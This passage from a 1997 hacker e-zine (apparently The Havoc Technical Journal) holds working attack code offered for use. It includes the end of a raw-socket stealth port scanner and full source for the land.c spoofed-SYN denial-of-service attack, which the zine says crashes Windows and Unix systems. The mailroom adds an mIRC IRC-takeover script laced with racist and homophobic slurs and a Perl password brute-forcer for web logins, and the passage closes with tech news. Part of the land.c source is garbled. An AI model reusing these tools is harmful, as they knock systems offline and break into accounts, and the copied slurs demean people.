packet.check = in_cksum((unsigned short *)&pseudo_header, 32);
return packet;
}
int scan(struct tcphdr packet,int port,unsigned int dst_addr)
{
struct sockaddr_in remote;
int len;
/* The header we'll receive the info in */
struct rect
{
struct iphdr ip;
struct tcphdr tcp;
unsigned char blah[65535];
}
recv_tcp;
int sockd;
/* Now we fill the sock struct */
remote.sin_family = AF_INET;
remote.sin_port = htons(port);
remote.sin_addr.s_addr = dst_addr;
len=sizeof(remote);
signal(SIGALRM, handler);
sockd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if(sockd < 0)
{
perror("Socket");
exit(1);
}
/* Blast the packet into ablivion! */
sendto(sockd, &packet, 20, 0, (struct sockaddr *)&remote, len);
timeout = 0;
alarm(10);
while(1)
{
/* Now we sit and read */
read(sockd, (struct recv_tcp *)&recv_tcp, 65535);
if(timeout == 1)
{
close(sockd);
timeout=0;
return -1;
}
if(recv_tcp.tcp.dest == (getpid() + counter))
{
alarm(0);
close(sockd);
/* It shouldnt be 1 */
if(recv_tcp.tcp.rst == 1)
return 0;
else
return 1;
}
}
}
main(int argc, char **argv)
{
int c;
int start = 0;
int end = 0;
int fin = 0;
int ack = 0;
int port = 0;
int retval;
struct tcphdr packet;
int host = 0;
int target = 0;
char source[100];
char destination[100];
if(getuid() != 0)
{
printf("Need root to run this I'm afraid .\n");
exit(-2);
}
if(argc < 2)
usage(argv[0]);
while ((c = getopt (argc, argv, "s:e:h:i:af")) != EOF)
{
switch (c)
{
case 's':
start = atoi(optarg);
break;
case 'e':
end = atoi(optarg);
break;
case 'a':
ack = 1;
break;
case 'f':
fin = 1;
break;
case 'h':
strcpy(destination,optarg);
target = 1;
break;
case 'i':
strcpy(source,optarg);
host = 1;
break;
case 't':
timeout = atoi(optarg);
break;
default:
usage(argv[0]);
}
}
if((host == 0) || (target == 0))
usage(argv[0]);
if(start == 0)
port = start;
if(end == 0)
end = 1024;
for(;port < (end + 1);port++)
{
packet = packetgen(fin,ack,inet_addr(source),inet_addr(destination),port);
if( (retval = scan(packet,port,inet_addr(source))) == 1)
printf("Port:%i is open.\n",port);
}
exit(0);
}
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
[05] land.c Information
By simon, <simon@yahoo.com>
Disclaimer:
I am NOT claiming to have found this hole, I am merely presenting it to
people. Some information that I have found may be included, but most of the
information is straight out of Bugtraq.
Briefly:
It works by sending a spoofed packer with the SYN flag set from a host, on
an open port such as 21,23,80,113,139...), setting as source the sane host
and port (ie: 10.0.0.1:139 to 10.0.0.1:139). This will cause the operating
system to lock up. So far this bug has been tested on serveral platforms.
Known vulnerable platforms:
AIX 3 IS vulnerable
BSDI 2.1 (vanilla) IS vulnerable
FreeBSD 2.2.2-RELEASE (confilcting reports)
FreeBSD 2.2.5-RELEASE (conflicting reports)
FreeBSD 2.2.5-STABLE (conflicting reports)
FreeBSD 3.0-CURRENT IS vulnerable
HP-UX 10.20 IS vulnerable
IRIX 5.3 IS vulnerable
NetApp NFS server 4.3 IS vulnerable
NetBSD 1.1 IS vulnerable
NetBSD 1.2 IS vulnerable
NetBSD 1.2a IS vulnerable
NetBSD 1.2.1 IS vulnerable
NetBSD 1.3_ALPHA IS vulnerable
NeXTSTEP 3.0 IS vulnerable
NeXTSTEp 3.1 IS vulnerable
OpenBSD 2.1 (conflicting reports)
QNX 4.24 IS vulnerable
SunOS 4.1.4 IS vulnerable
Windows 95 (vanilla) IS vulnerable
Windows 95 + Winsock 2 + VIPUPD.EXE IS vulnerable
Windows NT (vanilla) IS vulnerable
Windows NT + SP3 IS vulnerable
Windows NT + SP3 + simptcp-fix IS vulnerable
Fixes:
On FreeBSD you can set up a temporary fix by installing firewall
options and and denying all requests from the system itself on the same
ports.
land_linux.c:
This is the first version of land.c, for linux boxes that was
coded by m3lt.
/* land.c by m3lt, FLC */
#include <stdio.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/ip_tcp.h>
#include <netinet/protocols.h>
struct pseudohdr
{
struct in_ddr sddr;
struct in_ddr dddr;
u_chr zero;
u_chr protocol;
u_short length;
struct tcphdr tcpheder;
};
u_short checksum(u_short * dt,u_short length)
{
register long vlue;
u_short i;
for(i=0;i<(length>>1);i++)
vlue+=dt[i];
if((length&1)==1)
vlue+=(dt[i]<<8);
vlue=(vlue&65535)+(vlue>>16);
return(~vlue);
}
int min(int rgc,chr * * rgv)
{
struct sockddr_in sin;
struct hostent * hoste;
int sock;
chr buffer[40];
struct iphdr * ipheder=(struct iphdr *) buffer;
struct tcphdr * tcpheder=(struct tcphdr *) (buffer+sizeof(struct
iphdr));
struct pseudohdr pseudoheder;
fprintf(stderr,"lnd.c by m3lt, FLC\n");
if(rgc<3)
{
fprintf(stderr,"usge: %s IP port\n",rgv[0]);
return(-1);
}
bzero(&sin,sizeof(struct sockddr_in));
sin.sin_fmily=F_INET;
if((hoste=gethostbynme(rgv[1]))!=NULL)
bcopy(hoste->h_ddr,&sin.sin_ddr,hoste->h_length);
else if((sin.sin_ddr.s_ddr=inet_ddr(rgv[1]))==-1)
{
fprintf(stderr,"unknown host %s\n",rgv[1]);
return(-1);
}
if((sin.sin_port=htons(toi(rgv[2])))==0)
{
fprintf(stderr,"unknown port %s\n",rgv[2]);
return(-1);
}
if((sock=socket(F_INET,SOCK_RW,255))==-1)
{
fprintf(stderr,"couldn't llocte rw socket\n");
return(-1);
}
bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheder->version=4;
ipheder->ihl=sizeof(struct iphdr)/4;
ipheder->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheder->id=htons(0xF1C);
ipheder->ttl=255;
ipheder->protocol=IP_TCP;
ipheder->sddr=sin.sin_ddr.s_ddr;
ipheder->dddr=sin.sin_ddr.s_ddr;
tcpheder->th_sport=sin.sin_port;
tcpheder->th_dport=sin.sin_port;
tcpheder->th_seq=htonl(0xF1C);
tcpheder->th_flgs=TH_SYN;
tcpheder->th_off=sizeof(struct tcphdr)/4;
tcpheder->th_win=htons(2048);
bzero(&pseudoheder,12+sizeof(struct tcphdr));
pseudoheder.sddr.s_ddr=sin.sin_ddr.s_ddr;
pseudoheder.dddr.s_ddr=sin.sin_ddr.s_ddr;
pseudoheder.protocol=6;
pseudoheder.length=htons(sizeof(struct tcphdr));
bcopy((chr *) tcpheder,(chr *)
&pseudoheder.tcpheder,sizeof(struct tcphdr));
tcpheder->th_sum=checksum((u_short *) &pseudoheder,12+sizeof(struct
tcphdr));
if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct
tcphdr),0,(struct sockddr *) &sin,sizeof(struct sockddr_in))==-1)
{
fprintf(stderr,"couldn't send pcket\n");
return(-1);
}
fprintf(stderr,"%s:%s lnded\n",rgv[1],rgv[2]);
close(sock);
return(0);
}
land_bsd.c:
This is a version of land.c ported to BSD by blast and jerm.
/* land.c by m3lt, FLC
crashes a win95 box
Ported by blast and jerm to 44BSD*/
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <ctype.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
/* #include <netinet/ip_tcp.h> */
/* #include <netinet/protocols.h> */
struct pseudohdr
{
struct in_addr saddr;
struct in_addr daddr;
u_char zero;
u_char protocol;
u_short length;
struct tcphdr tcpheader;
};
u_short checksum(u_short * data,u_short length)
{
register long value;
u_short i;
for(i=0;i<(length>>1);i++)
value+=data[i];
if((length&1)==1)
value+=(data[i]<<8);
value=(value&65535)+(value>>16);
return(~value);
}
int main(int argc,char * * argv)
{
struct sockaddr_in sin;
struct hostent * hoste;
int sock,foo;
char buffer[40];
struct ip * ipheader=(struct ip *) buffer;
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip));
struct pseudohdr pseudoheader;
fprintf(stderr,"land.c by m3lt mod by blast, FLC\n");
if(argc<3)
{
fprintf(stderr,"usage: %s IP port\n",argv[0]);
return(-1);
}
bzero(&sin,sizeof(struct sockaddr_in));
sin.sin_family=AF_INET;
if((hoste=gethostbyname(argv[1]))!=NULL)
bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
{
fprintf(stderr,"unknown host %s\n",argv[1]);
return(-1);
}
if((sin.sin_port=htons(atoi(argv[2])))==0)
{
fprintf(stderr,"unknown port %s\n",argv[2]);
return(-1);
}
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
{
fprintf(stderr,"couldn't allocate raw socket\n");
return(-1);
}
foo=1;
if(setsockopt(sock,0,IP_HDRINCL,&foo,sizeof(int))==-1)
{
fprintf(stderr,"couldn't set raw header on socket\n");
return(-1);
}
bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr));
ipheader->ip_v=4;
ipheader->ip_hl=sizeof(struct ip)/4;
ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr);
ipheader->ip_id=htons(0xF1C);
ipheader->ip_ttl=255;
ipheader->ip_p=IPPROTO_TCP;
ipheader->ip_src=sin.sin_addr;
ipheader->ip_dst=sin.sin_addr;
tcpheader->th_sport=sin.sin_port;
tcpheader->th_dport=sin.sin_port;
tcpheader->th_seq=htonl(0xF1C);
tcpheader->th_flags=TH_SYN;
tcpheader->th_off=sizeof(struct tcphdr)/4;
tcpheader->th_win=htons(2048);
bzero(&pseudoheader,12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(struct tcphdr));
bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
{
fprintf(stderr,"couldn't send packet,%d\n",errno);
return(-1);
}
fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);
close(sock);
return(0);
}
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The Mailroom
Compiled by Scud-O <scud@thtj.com>
--------------------------------------------------
[01] wallhack.mrc , f0k
[02] How Do I Register? , Insents
[03] Like, I, Like, Was Reading Something, Insents
[04] Can You Subcribe Me?, Michael Desmond
[05] Here Have Some Code I Ripped From 2600, d4nt3
[06] Can you make viruses? , Insents
[07] Wicked Zine, DeSyNcHeD
[08] I Wanna Make A Virus, Cause I'm Elite, Insents
[09] SOOOOOOOOOOOOOOOOOOO Cool, matt
[10] Teacher Wanted, d king
[11] Make an HTML version of THTJ too, Isotop-x22
[12] 'The Big 'Freez' ', SNeitz8967
[13] Hacking Help, Ron
[14] Hacking Help II, RiedAB
[15] Problems Subcribing to THTJ, JoKeR
[16] Hacking Help III, K'reanos
[17] Subscribe, student
[18] ICQ, Campbell
--------------------------------------------------
[01]--- [ wallhack.mrc, f0k ] ---
[ This is a simple 'wallhack' for mirc, send into us by f0k from SIN. Enjoy. ]
; In mIRC just Type: /Findlag
; Take the longest reply.... /whois the person and see what server they are on
; than type: /wallhack <server name>
; once the clone is loaded type (you will
; know the clone is loaded by watching yer status window)
; /dohack <chan name>
; works ever 4 out of 5 times.
; -f0k of the Night-
;
; Second Release: Everything works 100%
; increased the rate of success by using mIRC's slow :loop
; to my advantage. Thanks Kalhed.
alias findlag { join #funfactory | .timer 1 5 .ctcp #funfactory ping }
alias wallhack { if ($1 != $null) { %wallhack = on | dns $1 | echo -a nOW lOADIN rAW cLONE!@#@! } | else { echo -a jEW fAGGOT, jEW mUS'N gIB mE a SERVER | echo -a eXAMPLE: /wallhack rockhill.sc.us.undernet.org } | }
alias dohack { if ($1 != $null) && (%wallhak == on) { /.msg = $+ $me join $1 | .join $1 | .timer 1 3 .part $1 | .timer 1 4 /.msg = $+ $me part $1 | %loopy = 0 | :loop | inc %loopy 1 | if (%loopy == 400) { .timer 1 4 .join $1 | .timer 1 4 /.msg = $+ $me join $1 } | else { goto loop } | } | }
on 1:chatclose:{ if ($nick == $me) { %wallhak = off } | }
on 1:chatopen: { if ($nick == $me) { msg = $+ $me user X X X :NeGRO!iRC 'can yooh say nappy?' | msg = $+ $me nick NeGRO $+ $rand(1000,9999) } | }
on 1:DNS: { if (%wallhack == on) { %wallhack = off | %wallhak = on | /raw -q privmsg $me :DCC CHAT chat $longip($raddress) 6665 $+ | echo -a Now connecting to Server... please wait } | else { /echo -a $nick ip address: $iaddress named address: $naddress resolved address: $raddress } | }
on 1:CHAT:PING*: { set %Text $2 | set %Length $len($2) | set %Length %Length - 1 | msg = $+ $nick PONG $right(%Length,%Text) | unset %Text %Length }
on 1:CHAT:*.*.*:{ if (%wallhak == on) { if ($2 == 001) { echo -s You can now type /dohack | echo -s Example: /dohack #opers_suck_my_nuts } | } | }
[02]--- [ How Do I Register?, Insents ] ---
From: Insents@aol.com
Date: Sat, 1 Nov 1997 15:17:55 -0500 (EST)
To: scud@thtj.com
Subject: please read
Upon reception of this form you will be granted
privelege to read all issues of The Havoc Technical Journal.
Until you have registered, you are not authorized to read this
or any issues of THTJ.
How do i register to read the THTJ issues? thanx
Insents
[ Register to read thtj? What the FUCK? thtj is free man, you dont have to
register shit. Where did you find this shit? ]
[03]--- [ Like, I, Like, Was Reading Something, Insents ] ---
From: Insents@aol.com
Date: Sat, 1 Nov 1997 15:23:19 -0500 (EST)
To: scud@thtj.com
Subject: Another thing
i was reading one of the aritcles and at the end it had this big program
looking thing with all these commands and things like that, what is that all
about?
Insents
[ If you could be a *little* more detailed in your description of the article
then maybe i could help you. I *dont* read minds. ]
[04]--- [ Can You Subcribe Me?, Michael Desmond ] ---
From: "Michael Desmond" <desmond@cpisecurity.com>
To: <scud@thtj.com>
Subject: hello my first time
Date: Sun, 2 Nov 1997 08:40:21 -0500
X-MSMail-Priority: Normal
X-Mailer: Microsoft Internet Mail 4.70.1161
i would like to subscribe my e-mail address is[[[[[ wickeddoom
@aol.com]]]]]]]
[ Subscribe yourself. Its *really* not that hard. Send a piece of e-mail to
majordomo@terminus.orc.ca , leave the subject blank, and in the body of the
message type 'subscribe you@yourisp.com' , with out the quotes. Enjoy. ]
[05]--- [ Here Have Some Code I Ripped From 2600, d4nt3 ] ---
From: "d4nt3" <d4nt3@hotmail.com>
To: <scud@thtj.com>
Subject: Web Wardialer
Date: Sun, 2 Nov 1997 09:23:34 -0500
#!/usr/local/bin/perl
# Web-Wardialer by d4nt3, d4nt3@hotmail.com
push(@INCm "/usr/share/perl/");
require "/usr/share/perl/sys/socket.ph";
print "what username to try? : ";
$username = <STDIN>;
chop $username;
print "\nwhat inputfile to try? : ";
$inputfile = <STDIN>;
chop $inputfile;
print "\nwhat hostname to try? (hint try the IP Address, its faster) : ";
$hostname = <STDIN>;
chop $hostname;
print "\n\n";
$sockaddr = 'S n a4 x8';
$remote_host = "127.0.0.1";
$remote_port_number = 80;
chop ( $hostname = 'hostname');
($name, $aliases, $protocol) = getprotobyname ('tcp');
($name, $aliases, $type, $length, $current_address) = gethostbyname($hostname);
($name, $aliases, $type, $length, $remote_address) = gethostbyname($remote_host);
$current_port = pack($sockaddr, &AF_INET, 0, $current_address);
$remote_port = pack($sockaddr, &AF_INET, $remotr_port_number, $remote_address);
# mail loop ----
open (IN, "$inputfile");
while (<IN>) {
$thisguess = $_;
chop $thisguess;
$try_this = $username . ":" . $thisguess ;
print "\n---trying [$try_this]";
grope(Base64encode($try_this));
}
print "\n\ndone.\n";
sub grope{
$send_this=$_[0];
print "---sending encoded string: $send_this";
socket (CONNECTION, &PF_INET, &SOCK_STREAM, $protocol) ||
die "Cannot create socket.\n";
bind (CONNECTION, $remote_port) || die "Cannot bind socket.\n";
connect ( CONNECTION, $remote_port) || die "Cannot connect socket.\n";
select (CONNECTION);
$| = 1;
#print "$ARGV[0]" , "\n";
print "HEAD /secret HTTP/1.0\n";
print "User-Agent: BadGuys@thegate (Macintosh; I; 2600)\n"
print "Authorization: Basic ";
print $send_this;
print "\n\n";
#print "quit", "\n";
select (STDOUT);
while(<CONNECTION>){
if (/^HTTP\/1\.. /) {
if (/^HTTP\/1\..(200|301|302|303|500)/) {
print "\n****";
print;
}
if (/^HTTP\/1\..(401)/) {
print "... access denied"
}
}
}
close CONNECTION;
}
sub Base64encode
{
my $res = "";
while ( $_[0] =~ /(.{1,45})/gs) {
$res .= substr(pack('u', $1), 1);
chop($res);
}
$res =~ tr| -_|A-Za-z0-9+/|;
#fix padding at end
my $padding = (3 - length($_[0]) % 3) % 3;
$res =~ s/.{padding}$/'=' x $padding/e if $padding;
$res;
}
sub Base64decode
{
local($^W) = 0; #unpack("u",...) gives bogus warning in 5.001m
my $str = shift;
my $res = "";
$str =~ tr|A-Za-z0-9+/||cd; # remove non base64 characters
$str =~ tr|A-Za-z0-9+/| -_|; # convert to uuencoded format
while($str =~ /(.{1,60})/gs) {
my $len = chr(32 + length($1)*3/4); # compute length byte
$res .= unpack("u", $len . $1); # uudecode
}
$res;
}
exit(0);
[ Hmm, maybe its just me, but this code looks like something straight out of
2600. Does vol.14 no.2 ring any bells? does pages 42 and 43 ring a bell?
They should, since they are the same thing. This is an obvious rip off of
Ryan's article that begins on page 40 of 2600. Dont ever try this again
'd4nt3' you lame fuck. Dont steal others code and claim as yours. Thats not
right. ]
[06]--- [ Can you make viruses? , Insents ] ---
From: Insents@aol.com
Date: Sun, 2 Nov 1997 14:16:46 -0500 (EST)
To: scud@thtj.com
Subject: Re: Another thing
Ok, plain and simple, can you make viruses? yes or no
Insents
[ yes. ]
[07]--- [ Wicked Zine, DeSyNcHeD ] ---
From: "CyBeRdEwD" <xtr185893@xtra.co.nz>
To: <scud@thtj.com>
Subject: Wicked Zine
Date: Mon, 3 Nov 1997 18:04:29 +1300
X-MSMail-Priority: Normal
X-Mailer: Microsoft Internet Mail 4.70.1155
Yo dewd,
I have every issue available on the net and think it is great. Anywayz
keep up the good work I really enjoy your IRC logs + Phonecall logs
and have found yer zine really inspirational anywayz your link to
www.antionline.com was useful I found it take me hours to find
sites with good file areas but i just visited that and a few other links
form your site and sound them all topz.
C ya,
DeSyNcHeD
P.S. what is the latest on evilempire.org and g0d??????
[ We aim to please. Im glad you like antionline as well.
evilempire.org is well, dead. Ive been too busy, and ive moved onto
other things. Ive set up thtj.com, and might be setting up my own
personal net soon, which was a goal of evilempire.org to me, so i
doubt that evilempire.org will be out anytime soon.
g0d, is well, also dead. Once again i havent had the time, and ive
gotten bored with bot tinkering and irc scripting. If i ever get back
into g0d i will let you know. ]
[08]--- [ I Wanna Make A Virus, Cause I'm Elite, Insents ] ---
From: Insents@aol.com
Date: Mon, 3 Nov 1997 15:38:02 -0500 (EST)
To: scud@thtj.com
Subject: Re: Another thing
Would you care to explain how a virus is made, or where i can find out,
thanx
Insents
[ go search out for this information. it is not that hard to come by. Go find
some old 40HEX's or something. search or 'virus' on yahoo or hotbot or
someplace. ]
[09]--- [ SOOOOOOOOOOOOOOOOOOO Cool, matt ] ---
Date: Fri, 07 Nov 1997 14:59:24 -0500
From: matt <dkmbwill@westol.com>
X-Mailer: Mozilla 3.01Gold (Win95; I)
To: scud@thtj.com
Subject: cool
you guys are soooooooooooooo cool thanks
[ we aim to please. ]
[10]--- [ Teacher Wanted, d king ] ---
To: scud@thtj.com
Date: Thu, 06 Nov 1997 09:32:38 -0700
From: "dave king" <countm@mailcity.com>
X-Sent-Mail: on
X-Mailer: MailCity Service
Subject: hacking
X-Sender-Ip: 149.123.131.202
Organization: MailCity (http://www.mailcity.com)
looking for a teacher or mentor any suggestions
interested in learning the way of life
d king
Get your free and private web-based e-mail from our new partner at
http://www.mailexcite.com
[ sorry, i am too busy, but if anyone that is reading this wants to give
d king a helping hand, go ahead. ]
[11]--- [ Make an HTML version of THTJ too, Isotop-x22 ] ---
Date: Sat, 8 Nov 1997 10:18:23 -0800 (PST)
From: Isotop-x22 <isotop22@yahoo.com>
Subject: New format
To: scud@thtj.com
Hi scud
I read your magazine and I think it is a really cool magazin.
You get articles from different subjects like Unix, VMX etc...
I have an idea to make this magazin a little bit better:
How sound that: Two different versions, Ascii and HTML text with
underlined headlines, local linx etc. I know that is a lot of work
to format those big documents but it would make the magazine more
comfortable to read. I would help out in formating !
Think about it ...
Isotop-x22
[ It is a good idea, and i have thought about it, but i do not know if it
would be a worthwhile idea. until issue 6 i made html versions of the
zine, but it was alot of work, and i felt that i would rather put my time
into producing 1 great zine instead of 2 average zines. ]
__________________________________________________________________
Sent by Yahoo! Mail. Get your free e-mail at http://mail.yahoo.com
[12]--- [ 'The Big 'Freez' ', SNeitz8967 ] ---
From: SNeitz8967 <SNeitz8967@aol.com>
Date: Tue, 4 Nov 1997 00:46:31 EST
To: thtj@thtj.com
Subject: hump... thought there
Organization: AOL (http://www.aol.com)
X-Mailer: Inet_Mail_Out (IMOv10)
was hackers here, seem's there is nothing afet the big "Freez..", well gotta
run, shurE miss the old one.......
[ umm, if you say so. i dont know what you are smoking, but it must be some
pretty good stuff. ]
[13]--- [ Hacking Help, Ron ] ---
From: "Ron" <newfie29@hotmail.com>
To: <scud@thtj.com>
Subject: hacking
Date: Mon, 10 Nov 1997 23:20:44 -0400
X-MSMail-Priority: Normal
X-Mailer: Microsoft Internet Mail 4.70.1155
Could you please send me info on hacking. I'm a begginer so
anything would help, My address is newfie29@hotmail.com
[ I am sorry, but as I have said before I can not teach you or give
you everything. A hacker must search for knowledge, that is what
makes him a hacker. However, I have found a very good file for you
beginners out there. it is by Invisible Evil and it is called the
Hacking Kit v2.0.b March/97. As the Date shows, this is a very
current file. It is also a large file, at around 530k or so. I will
be adding this to thtj.com soon, (thtj.com/hackkit-2_0b.txt), but
for right now you can find it at the bottom on rootshell.com. Happy
reading. ]
[14]--- [ Hacking Help II, RiedAB] ---
From: ReidAB@pacbell.net
Date: Tue, 11 Nov 1997 20:40:03 -0800
X-Mailer: Mozilla 3.0 (Win95; U)
To: scud@thtj.com
Subject: hacking
Dear Scud 0,
I enjoy hacking just as much as the next guy, but I like taking it
past the computer and into the physical word. I have been searching the web
for directions on how to make cable descramblers for cable tv. I know
that you can build them with radio shack parts but, I haven't been able
to find a site that gives you them for free. Do you know of a specific
site or could you help me obtain these blue prints?
Thanks,
ReidAB@pacbell.net
[ Ahem, it is Scud-O not Scud-0. Yes, that IS an o there. Anyway, no I
myself do not have any cable descrambler information, but I think that
l0pht.com has a few files on that information. Im not 100% sure, since I
live in the middle of nowhere and am to deprived for cable, so I dont know
a thing, or care at all on cable descramblers. ]
[15]--- [ Problems Subscribing to THTJ, JoKeR ] ---
Date: Wed, 12 Nov 1997 13:54:02 -0700 (MST)
From: JoKeR <joker@lorien.ml.org>
To: scud@thtj.com
Subject: ..
Hello. I have tried all of your subscribe utilities, but none seem
to be working. Can you please add me to your subscription list?
Thanks
BTW: Nice zine..
JoKeR
[ JoKeR, yes terminus.orc.ca had some problems and the majordomo was lost. So
all of our subscriber lists were erased, and the majordomo was killed, so
you were not able to join. The cgi in thtj.com was also stored on terminus,
so it was zapped as well. Hopefully by now, the domo is back up, so try it
again. I hope it works.
*** NOTE: EVERYONE on the thtj majordomo MUST resubscribe, the list
was lost! mail majordomo@terminus.orc.ca !! ***
And I am glad you like the zine, we aim to please. ]
[16]--- [ Hacking Help III, K'reanos ] ---
Date: Wed, 12 Nov 1997 19:00:10 -0600
From: "K'reanos Kurai" <khreanos@geocities.com>
Organization: Rihannsu Star Empire
X-Mailer: Mozilla 4.03 [en] (Win95; U)
To: scud@thtj.com
Subject: I want to learn how to become a hacker
I am a beginner in the subject of hacking and would like to learn.
I am not with any organization, just a college student wishing to learn
about the world around him, and how to manipulate it.
Please reply to this message.
K'reanos
RSE
[ See mail number 13 for info on where to find hackkit, a great text
for someone to learn on for basic UNIX hacking. I have been getting
an awlful lot of requests for hacking help recently, and I am
getting a wee bit tired by it. I might work on a beginning hacking
text similar to hackkit, but with some new tools and stuff I have
been thinking of and working on. I might even make this into a full
blown web site, since I have a bunch of ideas for this. But in the
mean time, read hackkit, because it is a very complete quide to
hacking UNIX in the latter half of the 90s. ]
[17]--- [ Subscribe, student ] ---
Date: Mon, 10 Nov 1997 21:58:44 -0800
From: student <student@gasou.edu>
X-Mailer: Mozilla 3.01 (Win16; I)
To: thtj@thtj.com
Subject: (no subject)
subscribe thtj
[ No, No, No! you are supposed to send this mail to
majordomo@terminus.orc.ca, not to me. try again. ]
[18]--- [ICQ, Campbell] ---
Date: Sat, 22 Nov 1997 04:28:29 -0800
From: Andrew Campbell III <campbella@worldnet.att.net>
X-Mailer: Mozilla 3.04Gold (Win95; I)
To: scud@sinnerz.com
Subject: icq
I would like you to add me to your list as I am a beggining hacker,
3311363
[ sorry, but I do not use ICQ, nor do I intend to ever have it. ]
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
--------------
--=[The News]=--
Compiled & edited by KungFuFox
--------------
1 : Keeping the Pace in Net Security
2 : AOL Enlists Members In War On Spam
3 : Suspected Pentium Bug May Harm ISPs
4 : Cheap long distance calling comes to Net
5 : Microsoft Browser Takes On a New Flavor: Unix
6 : Hijacked Surfers Get Credit, Refunds
7 : Presidential Panel Issues Cyberattack Warning
_____________________________________________________________
Keeping the Pace in Net Security
by Gene Koprowski
3.Nov.97 -- Hackers love a challenge. Computer security experts do as well.
And the cat-and-mouse game between these cyber rivals is attracting a lot of
attention lately from the computer industry, which has responded by adding
one layer after another to the security infrastructure.
Firewalls, like those developed by Secure Computing and IBM, were once
thought to be enough protection to ward off phreaks. But hackers became wise
to their ways. Then proxy servers, offered by Microsoft Corp., and others,
emerged. More recently, companies like 3Com have been promoting routers and
virtual private networks (VPNs) as the security solution for corporate
computers linked to the Internet.
"There is a great deal of overlap occurring in the proxy server-firewall
software security" market, observes Mike Friloux, IP product manager for
Williams Network, a computer technology reseller. "It really depends on what
you are trying to accomplish, what type of LAN/WAN interface, bandwidth
requirements, and level of security required."
Secure Computing, a networking security vendor, has created a multi-layered
system to protect Internet-based communications with a firewall-cum-proxy
server-cum-VPN. The VPN functionality is added to the servers of ISPs in the
i-Pass alliance, a group of ISPs and telcos operating about 1,300 points of
presence in 150 countries. Secure Computing is also incorporating software to
make all the system's Web clients anonymous, just like a proxy server.
The makers of the technology - called BorderWare Firewall Server 5.0 - also
promise to place a link to the technology on their challenge Web site, and
issue a dare to would-be phreaks to hack into the system.
"We've had 9,000 hackers try to break into our site" in the past, boasts
Christine Hughes, vice president of marketing at Secure Computing. "We're
reinitiating that site."
Cynics say that proxy servers are just another name for firewalls, coined by
companies like Microsoft to create a market for their own security software.
To be sure, there are striking similarities. The proxy software is installed
on a server, and it allows internal corporate users access to the Internet,
and authenticates the passwords of those Web surfers trying to get into the
network from outside connections. But, they do have one unique feature that
not all firewalls boast: every proxy client can remain anonymous while
surfing the Web.
VPNs, meanwhile, let any valid remote user become part of a corporate central
network, using the same network scheme and addressing as users inside the
network. Each company's central network can also be responsible for
validating their own users, despite the fact that they are actually dialing
into a public network.
The new Secure technology was developed around a "hardened" Unix operating
system, called Berkeley Systems Development. Users do not have to load an
operating system on a firewall server, and then add a layer of firewall
application software. Rather, they are combined into one unit, says Andrew
Stevens, product manager at Secure Computing. This is the first deal the
alliance has signed with a firewall developer, and the product is targeted at
companies that want to secure their telecommuting links.
"We've got a dynamic virtual private network as well. When dialing up an ISP,
you can set up an encrypted tunnel from that IP address back to your
corporate network. And that works in conjunction with the i-Pass remote
access server that we have incorporated into the server as well," says
Stevens.
iPass enables local-call access to the Internet and corporate networks from
every major business capital in the world. Secure thinks the deal with i-Pass
is significant, for a recent Forrester Group report showed that 64 percent of
IT managers did not plan to allow remote access into their LANs. Of those, 46
percent cited security as their main concern.
Stevens claims that Secure's technology allows not only secure access from
remote clients, but also gives companies the added benefit of saving as much
as 60 percent in long-distance charges because dial-ins would be from local
numbers.
What does the industry think of the technology offering? Will Secure have a
huge edge on the competition? Not for long. IBM, in fact, is testing its
firewall technology for virtual private network features at the National
Computer Security Association. "I liken this to the mini-van marketplace: You
can build a mini-van off of a truck body, or off of an automobile body and
call it whatever you want to," says Roger Rea, firewall product marketing
manager at IBM.
What happens next? Security stratification. Proxy servers and others will
continue to "eat away at the lower end of the market," supplying smaller
businesses, while the more advanced offerings are targeted at larger
enterprises, says Patrick Taylor, director of product marketing at Internet
Securities Systems Inc.
(c)1993-97 Wired Ventures, Inc.
_____________________________________________________________
AOL Enlists Members In War On Spam
10/29/97
By John Borland, Net Insider
Saying it cannot fight the spammers alone, America Online has enlisted its
members in its effort to stop junk E-mail.
With a subscriber base reaching 9 million members, many of them relatively
